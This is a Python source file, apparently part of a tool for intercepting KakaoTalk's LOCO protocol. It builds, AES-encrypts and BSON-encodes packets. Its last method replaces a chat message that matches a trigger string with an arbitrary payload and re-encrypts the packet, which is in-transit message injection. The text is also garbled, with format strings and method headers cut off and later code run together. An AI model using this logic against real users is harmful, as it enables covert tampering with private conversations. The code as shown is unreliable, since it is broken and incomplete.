import bson, logging, struct, io from .crypto_utils import aes_encrypt, aes_decrypt class LocoPacket: def __init__( self, id=0, status_code=0, loco_command="", body_type=0, body_length=0, body_payload=b"", ): self.id = id self.status_code = status_code self.loco_command = loco_command self.body_type = body_type self.body_length = body_length self.body_payload = body_payload # TODO: Add exception handling def get_packet_bytes(self) -> bytes: try: f = io.BytesIO() f.write(struct.pack(" dict: loco_dict = vars(self) try: if loco_dict["body_payload"]: loco_dict["body_payload"] = bson.loads(self.body_payload) except: logging.error("Could not decode BSON body.") return loco_dict class LocoEncryptedPacket: def __init__(self, length=0, iv=b"", payload=b""): self.length = length self.iv = iv self.payload = payload # TODO: Add exception handling def get_packet_bytes(self, loco_packet: LocoPacket) -> bytes: # new_iv = os.urandom(16) if not loco_packet: logging.error( f"Could not create LOCO encrypted packet: Loco packet data is None." ) return None encrypted_packet = aes_encrypt(loco_packet, self.iv) if not encrypted_packet: logging.error(f"Could not encrypt LOCO packet.") return None try: f = io.BytesIO() f.write(struct.pack(" bytes: if not self.loco_packet: return None if not self.loco_packet.loco_command == "MSG": return None body_json = self.bson_decode(self.loco_packet.body_payload) if ( "chatLog" in body_json and body_json["chatLog"]["message"] == trigger_message ): body_json["chatLog"]["message"] = payload self.loco_packet.body_payload = self.bson_encode(body_json) self.loco_packet.body_length = len(self.loco_packet.body_payload) return self.loco_encrypted_packet.get_packet_bytes( self.loco_packet.get_packet_bytes() ) def bson_encode(self, data): return bson.dumps(data) def bson_decode(self, data): return bson.loads(data)